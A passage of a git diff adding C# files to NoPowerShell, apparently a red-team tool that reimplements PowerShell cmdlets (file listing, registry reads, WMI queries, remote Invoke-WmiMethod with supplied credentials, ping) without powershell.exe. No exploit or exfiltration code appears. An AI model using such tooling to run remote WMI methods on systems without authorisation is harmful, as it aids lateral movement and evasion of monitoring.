NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class WhereObjectCommand : PSCommand + { + public WhereObjectCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + string property = _arguments.Get("Property").Value; + bool eq = _arguments.Get("EQ").Value; + bool like = _arguments.Get("Like").Value; + string value = _arguments.Get("Value").Value; + + // Iterate over output lines of previous command in pipe + foreach (ResultRecord result in pipeIn) + { + string tablevalue = result[property].ToLowerInvariant(); + string checkvalue = value.ToLowerInvariant(); + string cleancheckvalue = checkvalue.TrimStart('*').TrimEnd('*'); + bool foundValue = false; + + // Name -eq "value" + if (eq) + { + foundValue = (tablevalue == checkvalue); + } + // Name -like "value" + else if (like) + { + if (checkvalue.StartsWith("*")) + { + // - *value* + if (checkvalue.EndsWith("*")) + foundValue = tablevalue.Contains(cleancheckvalue); + // - *value + else + foundValue = tablevalue.EndsWith(cleancheckvalue); + } + else + { + // - value* + if (checkvalue.EndsWith("*")) + foundValue = tablevalue.StartsWith(cleancheckvalue); + // - value + else + foundValue = tablevalue == cleancheckvalue; + } + } + + if (foundValue) + _results.Add(result); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Where-Object", "?" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property"), + new BoolArgument("EQ"), + new BoolArgument("Like"), + new StringArgument("Value") + }; + } + } + + public static new string Synopsis + { + get { return "Selects objects from a collection based on their property values."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/CopyItemCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/CopyItemCommand.cs new file mode 100644 index 0000000..d9728a5 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/CopyItemCommand.cs @@ -0,0 +1,101 @@ +using System.IO; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class CopyItemCommand : PSCommand + { + public CopyItemCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain source and destination + string path = _arguments.Get("Path").Value; + string destination = _arguments.Get("Destination").Value; + bool force = _arguments.Get("Force").Value; + + // Determine if provided path is a file or a directory + FileAttributes attr = File.GetAttributes(path); + + // Directory + if((attr & FileAttributes.Directory) == FileAttributes.Directory) + { + DirectoryCopy(path, destination, force); + } + // File + else + { + File.Copy(path, destination, force); + } + + return _results; + } + + // Slightly modified version of: + // https://docs.microsoft.com/dotnet/standard/io/how-to-copy-directories + private static void DirectoryCopy(string sourceDirName, string destDirName, bool force) + { + // Get the subdirectories for the specified directory. + DirectoryInfo dir = new DirectoryInfo(sourceDirName); + + if (!dir.Exists) + { + throw new DirectoryNotFoundException("Source directory does not exist or could not be found: " + sourceDirName); + } + + DirectoryInfo[] dirs = dir.GetDirectories(); + // If the destination directory doesn't exist, create it. + if (!Directory.Exists(destDirName)) + { + Directory.CreateDirectory(destDirName); + } + + // Get the files in the directory and copy them to the new location. + FileInfo[] files = dir.GetFiles(); + foreach (FileInfo file in files) + { + string destPath = Path.Combine(destDirName, file.Name); + file.CopyTo(destPath, force); + } + + // Copy subdirectories and their contents to new location. + foreach (DirectoryInfo subdir in dirs) + { + string temppath = Path.Combine(destDirName, subdir.Name); + DirectoryCopy(subdir.FullName, temppath, force); + } + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Copy-Item", "copy", "cp", "cpi" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path"), + new StringArgument("Destination"), + new BoolArgument("Force") + }; + } + } + + public static new string Synopsis + { + get { return "Copies an item from one location to another."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetChildItemCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetChildItemCommand.cs new file mode 100644 index 0000000..362af3a --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetChildItemCommand.cs @@ -0,0 +1,217 @@ +using System; +using System.IO; +using System.Text; +using Microsoft.Win32; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetChildItemCommand : PSCommand + { + public GetChildItemCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + bool includeHidden = _arguments.Get("Force").Value; + string path = _arguments.Get("Path").Value; + bool recurse = _arguments.Get("Recurse").Value; + string searchPattern = _arguments.Get("Include").Value; + string checkPath = path.ToUpperInvariant(); + + // Registry: + // HKLM:\ + // HKCU:\ + // HKCR:\ + // HKU:\ + if (checkPath.StartsWith("HKLM:") || checkPath.StartsWith("HKCU:") || checkPath.StartsWith("HKCR:") || checkPath.StartsWith("HKU:")) + _results = BrowseRegistry(path, includeHidden); + + // Filesystem: + // \ + // ..\ + // D:\ + else + _results = BrowseFilesystem(path, recurse, includeHidden, searchPattern); + + return _results; + } + private CommandResult BrowseRegistry(string path, bool includeHidden) + { + RegistryKey root = null; + string newPath = string.Empty; + path = path.ToUpperInvariant(); + if (path.StartsWith("HKLM:")) + { + root = Registry.LocalMachine; + newPath = path.Replace("HKLM:", string.Empty); + } + else if (path.StartsWith("HKCU:")) + { + root = Registry.CurrentUser; + newPath = path.Replace("HKCU:", string.Empty); + } + else if (path.StartsWith("HKCR:")) + { + root = Registry.ClassesRoot; + newPath = path.Replace("HKCR:", string.Empty); + } + else if (path.StartsWith("HKU:")) + { + root = Registry.Users; + newPath = path.Replace("HKU:", string.Empty); + } + else + throw new InvalidOperationException("Unknown registry path."); + + if (newPath.StartsWith(@"\")) + newPath = newPath.Substring(1); + + RegistryKey key = root.OpenSubKey(newPath); + foreach (string subkey in key.GetSubKeyNames()) + { + _results.Add( + new ResultRecord() + { + { "Name", subkey } + } + ); + } + + return _results; + } + + public static CommandResult BrowseFilesystem(string path, bool recurse, bool includeHidden, string searchPattern) + { + CommandResult results = new CommandResult(); + + DirectoryInfo gciDir = new DirectoryInfo(path); + + // TODO: Follow symlinks. Skipping them for now + if ((gciDir.Attributes & FileAttributes.ReparsePoint) == FileAttributes.ReparsePoint) + return results; + + DirectoryInfo[] directories = null; + try + { + directories = gciDir.GetDirectories(recurse ? "*" : searchPattern); + } + catch(UnauthorizedAccessException) + { + Console.WriteLine("Unauthorized to access \"{0}\"", path); + return results; + } + + FileInfo[] files = gciDir.GetFiles(searchPattern); + + // Enumerate directories + foreach (DirectoryInfo dir in directories) + { + if (!includeHidden && ((dir.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden)) + continue; + + // Don't show directories if -Recurse and an -Include filter is set + if (recurse && !string.IsNullOrEmpty(searchPattern)) + continue; + + ResultRecord currentDir = new ResultRecord() + { + { "Mode", GetModeFlags(dir) }, + { "LastWriteTime", dir.LastWriteTime.ToString() }, + { "Length", string.Empty }, + { "Name", dir.Name } + }; + + // If recursive, also the directory name is needed + if (recurse) + currentDir.Add("Directory", dir.FullName); + + results.Add(currentDir); + } + + // Enumerate files + foreach (FileInfo file in files) + { + if (!includeHidden && ((file.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden)) + continue; + + ResultRecord currentFile = new ResultRecord() + { + { "Mode", GetModeFlags(file) }, + { "LastWriteTime", file.LastWriteTime.ToString() }, + { "Length", file.Length.ToString() }, + { "Name", file.Name } + }; + + // If recursive, also the directory name is needed + if (recurse) + currentFile.Add("Directory", file.Directory.FullName); + + results.Add(currentFile); + } + + // After adding folders and files in current directory, go depth first + if(recurse) + { + foreach(DirectoryInfo subDir in directories) + { + // Skip hidden directories in case -Force parameter is not provided + if ((subDir.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden && !includeHidden) + continue; + + CommandResult currentDir = BrowseFilesystem(subDir.FullName, recurse, includeHidden, searchPattern); + results.AddRange(currentDir); + } + } + + return results; + } + + private static string GetModeFlags(FileSystemInfo f) + { + StringBuilder sb = new StringBuilder(6); + + sb.Append((f.Attributes & FileAttributes.Directory) == FileAttributes.Directory ? "d" : "-"); + sb.Append((f.Attributes & FileAttributes.Archive) == FileAttributes.Archive ? "a" : "-"); + sb.Append((f.Attributes & FileAttributes.ReadOnly) == FileAttributes.ReadOnly ? "r" : "-"); + sb.Append((f.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden ? "h" : "-"); + sb.Append((f.Attributes & FileAttributes.System) == FileAttributes.System ? "s" : "-"); + sb.Append((f.Attributes & FileAttributes.ReparsePoint) == FileAttributes.ReparsePoint ? "l" : "-"); + + return sb.ToString(); + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-ChildItem", "gci", "ls", "dir" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path", "."), + new BoolArgument("Force") , + new BoolArgument("Recurse"), + new StringArgument("Include", "*", true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets the files and folders in a file system drive."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetContentCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetContentCommand.cs new file mode 100644 index 0000000..aaef161 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetContentCommand.cs @@ -0,0 +1,55 @@ +using System.IO; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetContentCommand : PSCommand + { + public GetContentCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string path = _arguments.Get("Path").Value; + string txt = File.ReadAllText(path); + + // Create a single ResultRecord with an empty name to simply display raw output + _results.Add( + new ResultRecord() { + { string.Empty, txt } + } + ); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Content", "gc", "cat", "type" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path") + }; + } + } + + public static new string Synopsis + { + get { return "Gets the contents of a file."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs new file mode 100644 index 0000000..cd9f8cf --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs @@ -0,0 +1,119 @@ +using System; +using Microsoft.Win32; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetItemPropertyCommand : PSCommand + { + public GetItemPropertyCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + bool includeHidden = _arguments.Get("Force").Value; + string path = _arguments.Get("Path").Value; + string searchPattern = _arguments.Get("Include").Value; + string checkPath = path.ToUpperInvariant(); + + // Registry: + // HKLM:\ + // HKCU:\ + // HKCR:\ + // HKU:\ + if (checkPath.StartsWith("HKLM:") || checkPath.StartsWith("HKCU:") || checkPath.StartsWith("HKCR:") || checkPath.StartsWith("HKU:")) + _results = BrowseRegistry(path, includeHidden); + + // Filesystem: + // \ + // ..\ + // D:\ + else + _results = GetChildItemCommand.BrowseFilesystem(path, false, includeHidden, searchPattern); + + return _results; + } + + private CommandResult BrowseRegistry(string path, bool includeHidden) + { + RegistryKey root = null; + string newPath = string.Empty; + path = path.ToUpperInvariant(); + if (path.StartsWith("HKLM:")) + { + root = Registry.LocalMachine; + newPath = path.Replace("HKLM:", string.Empty); + } + else if (path.StartsWith("HKCU:")) + { + root = Registry.CurrentUser; + newPath = path.Replace("HKCU:", string.Empty); + } + else if (path.StartsWith("HKCR:")) + { + root = Registry.ClassesRoot; + newPath = path.Replace("HKCR:", string.Empty); + } + else if (path.StartsWith("HKU:")) + { + root = Registry.Users; + newPath = path.Replace("HKU:", string.Empty); + } + else + throw new InvalidOperationException("Unknown registry path."); + + if (newPath.StartsWith(@"\")) + newPath = newPath.Substring(1); + + RegistryKey key = root.OpenSubKey(newPath); + foreach (string valueName in key.GetValueNames()) + { + string valueKind = key.GetValueKind(valueName).ToString(); + string value = Convert.ToString(key.GetValue(valueName)); + + _results.Add( + new ResultRecord() + { + { "Name", valueName }, + { "Kind", valueKind }, + { "Value", value } + } + ); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-ItemProperty", "gp" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path", "."), + new BoolArgument("Force") , + new StringArgument("Include", "*", true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets the properties of a specified item."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetProcessCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetProcessCommand.cs new file mode 100644 index 0000000..c056fb2 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetProcessCommand.cs @@ -0,0 +1,44 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetProcessCommand : PSCommand + { + public GetProcessCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + _results = WmiHelper.ExecuteWmiQuery("Select ProcessId, Name, CommandLine From Win32_Process"); + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-Process", "ps" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Gets the processes that are running on the local computer or a remote computer."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs new file mode 100644 index 0000000..4fc1354 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/GetWmiObjectCommand.cs @@ -0,0 +1,65 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetWmiObjectCommand : PSCommand + { + public GetWmiObjectCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + string wmiNamespace = _arguments.Get("Namespace").Value; + string wmiQuery = _arguments.Get("Query").Value; + string wmiClass = _arguments.Get("Class").Value; + string wmiFilter = _arguments.Get("Filter").Value; + + if (wmiClass != null) + wmiQuery = string.Format("Select * From {0}", wmiClass); + if (wmiFilter != null) + wmiQuery += string.Format(" Where {0}", wmiFilter); + + // Remote parameters + string computerName = _arguments.Get("ComputerName").Value; + string username = _arguments.Get("Username").Value; + string password = _arguments.Get("Password").Value; + + // Execute user provided WMI query and return results to pipeline + _results = WmiHelper.ExecuteWmiQuery(wmiNamespace, wmiQuery, computerName, username, password); + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-WmiObject", "gwmi" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Namespace", @"root\cimv2", true), + new StringArgument("Query"), + new StringArgument("Class", null, true), + new StringArgument("Filter", null, true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets instances of WMI classes or information about the available classes."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs new file mode 100644 index 0000000..692b4bc --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/InvokeWmiMethodCommand.cs @@ -0,0 +1,60 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class InvokeWmiMethodCommand : PSCommand + { + public InvokeWmiMethodCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain parameters + string wmiNamespace = _arguments.Get("Namespace").Value; + string wmiClass = _arguments.Get("Class").Value; + string methodName = _arguments.Get("Name").Value; + string methodArguments = _arguments.Get("ArgumentList").Value; + + // Remote parameters + string computerName = _arguments.Get("ComputerName").Value; + string username = _arguments.Get("Username").Value; + string password = _arguments.Get("Password").Value; + + _results = WmiHelper.InvokeWmiMethod(wmiNamespace, wmiClass, methodName, methodArguments, computerName, username, password); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Invoke-WmiMethod", "iwmi" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Namespace", @"root\cimv2", true), + new StringArgument("Class"), + new StringArgument("Name"), + new StringArgument("ArgumentList") + }; + } + } + + public static new string Synopsis + { + get { return "Calls WMI methods."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Management/RemovetemCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Management/RemovetemCommand.cs new file mode 100644 index 0000000..106c077 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Management/RemovetemCommand.cs @@ -0,0 +1,104 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System.IO; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class RemovetemCommand : PSCommand + { + public RemovetemCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain source and destination + string path = _arguments.Get("Path").Value; + bool force = _arguments.Get("Force").Value; + bool recurse = _arguments.Get("Recurse").Value; + + // Determine if provided path is a file or a directory + FileAttributes attr = File.GetAttributes(path); + + // Directory + if ((attr & FileAttributes.Directory) == FileAttributes.Directory) + { + DirectoryDelete(path, recurse, force); + Directory.Delete(path); + } + // File + else + { + // Remove readonly attribute + if(force) + File.SetAttributes(path, attr & ~FileAttributes.ReadOnly); + + File.Delete(path); + } + + return _results; + } + + // Inspired by: + // https://docs.microsoft.com/dotnet/standard/io/how-to-copy-directories + private static void DirectoryDelete(string dirName, bool recurse, bool force) + { + // Get the subdirectories for the specified directory. + DirectoryInfo dir = new DirectoryInfo(dirName); + DirectoryInfo[] dirs = dir.GetDirectories(); + + if (dirs.Length > 0 && !recurse) + throw new System.Exception(string.Format("The item at {0} has children and the Recurse parameter was not specified. Nothing has been removed.", dirName)); + + // Get the files in the directory and copy them to the new location. + FileInfo[] files = dir.GetFiles(); + foreach (FileInfo file in files) + { + // Remove readonly attribute + if (force) + File.SetAttributes(file.FullName, file.Attributes & ~FileAttributes.ReadOnly); + + file.Delete(); + } + + // Remove subdirectories and their contents if Recurse flag is set + if (recurse) + { + foreach (DirectoryInfo subdir in dirs) + { + DirectoryDelete(subdir.FullName, recurse, force); + subdir.Delete(); + } + } + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Remove-Item", "del", "erase", "rd", "ri", "rm", "rmdir" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path"), + new BoolArgument("Force"), + new BoolArgument("Recurse") + }; + } + } + + public static new string Synopsis + { + get { return "Deletes files and folders."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs new file mode 100644 index 0000000..5e899bb --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetIPAddressCommand.cs @@ -0,0 +1,63 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetNetIPAddress : PSCommand + { + public GetNetIPAddress(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + bool all = _arguments.Get("All").Value; + + string simpleSelect = "Description, IPAddress, DefaultIPGateway"; + string allSelect = simpleSelect + ", DNSServerSearchOrder"; + string query = "Select {0} From Win32_NetworkAdapterConfiguration {1}"; + + if (all) + query = string.Format(query, allSelect, string.Empty); + else + query = string.Format(query, simpleSelect, "Where IPEnabled = 'True'"); + + _results = WmiHelper.ExecuteWmiQuery(query); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { + return new CaseInsensitiveList() + { + "Get-NetIPAddress", "ipconfig", + "ifconfig" // Not official + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("All") + }; + } + } + + public static new string Synopsis + { + get { return "Gets the IP address configuration."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs new file mode 100644 index 0000000..c1113c8 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/GetNetRouteCommand.cs @@ -0,0 +1,51 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetNetRouteCommand : PSCommand + { + public GetNetRouteCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + _results = WmiHelper.ExecuteWmiQuery("Select Caption, Description, Destination, Mask, NextHop From Win32_IP4RouteTable"); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { + return new CaseInsensitiveList() + { + "Get-NetRoute", + "route" // Not official + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Gets the IP route information from the IP routing table."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs new file mode 100644 index 0000000..fe84c11 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs @@ -0,0 +1,181 @@ +using System; +using System.Collections.Generic; +using System.Net.NetworkInformation; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class TestNetConnectionCommand : PSCommand + { + public TestNetConnectionCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain arguments + bool performTraceroute = _arguments.Get("TraceRoute").Value; + int count = _arguments.Get("Count").Value; + int timeout = _arguments.Get("Timeout").Value; + string computerName = _arguments.Get("ComputerName").Value; + int hops = _arguments.Get("Hops").Value; + + // Traceroute or Ping + if (performTraceroute) + _results = PerformTraceroute(computerName, count, timeout, hops); + else + _results = PerformPing(computerName, count, timeout); + + return _results; + } + + private static CommandResult PerformPing(string computerName, int count, int timeout) + { + CommandResult results = new CommandResult(count); + + Ping ping = new Ping(); + PingOptions options = new PingOptions(64, false); + + bool succeeded = false; + + for (int i = 0; i < count; i++) + { + PingReply reply = null; + + try + { + reply = ping.Send(computerName, timeout); + } + catch(PingException) + { + break; + } + + succeeded = true; + + // Add to output + results.Add( + new ResultRecord() + { + { "ComputerName", computerName }, + { "RemoteAddress", reply.Address.ToString() }, + { "PingSucceeded", reply.Status == IPStatus.Success ? "True" : "False" }, + { "PingReplyDetails (RTT)", reply.RoundtripTime.ToString() } + } + ); + + // Send only 1 request per second + //if (i != count - 1) + // Thread.Sleep(1000 - (int)reply.RoundtripTime); + } + + // Error response + if (!succeeded) + { + results.Add(new ResultRecord() + { + { "ComputerName", computerName }, + { "RemoteAddress", string.Empty }, + { "PingSucceeded", succeeded ? "True" : "False" } + }); + } + + return results; + } + + private static CommandResult PerformTraceroute(string computerName, int count, int timeout, int maxHops) + { + CommandResult results = new CommandResult(count); + + // Fill buffer with a-z + byte[] buffer = new byte[32]; + for (int i = 0; i < buffer.Length; i++) + buffer[i] = Convert.ToByte(0x61 + (i % 26)); + + Ping ping = new Ping(); + List IPs = new List(maxHops); + + // Last hop details + string remoteAddress = string.Empty; + bool succeeded = false; + int rtt = -1; + + for (int ttl = 1; ttl <= maxHops; ttl++) + { + PingOptions options = new PingOptions(ttl, true); + PingReply reply = null; + + try + { + reply = ping.Send(computerName, timeout, buffer, options); + } + catch(PingException) + { + break; + } + + if (reply.Status == IPStatus.TtlExpired) + IPs.Add(reply.Address.ToString()); + else if (reply.Status == IPStatus.TimedOut) + IPs.Add("*"); + else if (reply.Status == IPStatus.Success) + { + IPs.Add(reply.Address.ToString()); + remoteAddress = reply.Address.ToString(); + succeeded = true; + rtt = (int)reply.RoundtripTime; + break; + } + } + + ResultRecord record = new ResultRecord() + { + { "ComputerName", computerName }, + { "RemoteAddress", remoteAddress }, + { "PingSucceeded", succeeded ? "True" : "False" } + }; + + if(succeeded) + { + record.Add("PingReplyDetails (RTT)", rtt.ToString()); + record.Add("TraceRoute", string.Join(", ", IPs.ToArray())); + } + + results.Add(record); + + return results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Test-NetConnection", "ping" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("TraceRoute", false), + new StringArgument("ComputerName"), + new IntegerArgument("Count", 1, true), + new IntegerArgument("Timeout", 5000, true), + new IntegerArgument("Hops", 30, true) + }; + } + } + + public static new string Synopsis + { + get { return "Displays diagnostic information for a connection."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/PSCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/PSCommand.cs new file mode 100644 index 0000000..6878637 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/PSCommand.cs @@ -0,0 +1,198 @@ +using System; +using System.Text; +using System.Collections.Generic; +using System.Reflection; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + /// + /// Base class for all cmdlets + /// + public class PSCommand + { + protected ArgumentList _arguments; + protected CommandResult _results; + + /// + /// Construct a new PSCommand parsing the provided arguments using the provided list of arguments supported by this cmdlet + /// + /// Arguments to be parsed + /// Arguments supported by this cmdlet + public PSCommand(string[] userArguments, ArgumentList supportedArguments) + { + // To any command add support for specifying a remote computername including username and password + // It is up to the command whether it makes use of these optional parameters + supportedArguments.AddRange(new List() + { + new StringArgument("ComputerName", ".", true), + new StringArgument("Username", null, true), + new StringArgument("Password", null, true) + }); + + _arguments = ParseArguments(userArguments, supportedArguments); + _results = new CommandResult(); + } + + /// + /// Parses arguments provided by user using the list of arguments supported by the cmdlet + /// + /// Arguments to be parsed + /// Arguments supported by this cmdlet + /// Parsed arguments + protected ArgumentList ParseArguments(string[] userArguments, ArgumentList supportedArguments) + { + if (userArguments == null) + return supportedArguments; + + // Iterate over user-provided arguments + int i = 0; + while (i < userArguments.Length) + { + string inputArg = userArguments[i]; + + // Iterate over the arguments that are available for this cmdlet + List candidates = new List(userArguments.Length); + foreach (Argument destArg in supportedArguments) + { + // Two options: + // 1) Provided argument matches expected argument + // 2) It could be an argument which doesn't need to be "cmd -Argname [value]". It can simply be "cmd [value]" + if (destArg.Name.Equals(inputArg.Substring(1, inputArg.Length - 1), StringComparison.InvariantCultureIgnoreCase)) + { + candidates.Add(destArg); + } + else if (!inputArg.StartsWith("-") && !destArg.IsOptionalArgument) + { + destArg.DashArgumentNameSkipUsed = true; + candidates.Add(destArg); + } + } + + if (candidates.Count == 0) + { + throw new ArgumentException(string.Format("No parameter of {0} found matching \"{1}\".", this.ToString(), inputArg)); + } + + // Attempt to assign the variable to whatever argument has not been assigned yet + bool assignedValue = false; + foreach (Argument a in candidates) + { + if (a.GetType() == typeof(BoolArgument)) + { + ((BoolArgument)a).Value = true; + assignedValue = true; + break; + } + else if(a.GetType() == typeof(IntegerArgument)) + { + ((IntegerArgument)a).Value = Convert.ToInt32(userArguments[++i]); + assignedValue = true; + break; + } + else if (a.GetType() == typeof(StringArgument)) + { + StringArgument aCasted = (StringArgument)a; + if (aCasted.Value != null && !aCasted.IsDefaultValue) + continue; + + // Optional StringArgument which requires a value + // For example Get-WmiObject -Namespace root\cimv2 -Query "Select CommandLine From Win32_Process" + if (!a.DashArgumentNameSkipUsed) + i++; + + // 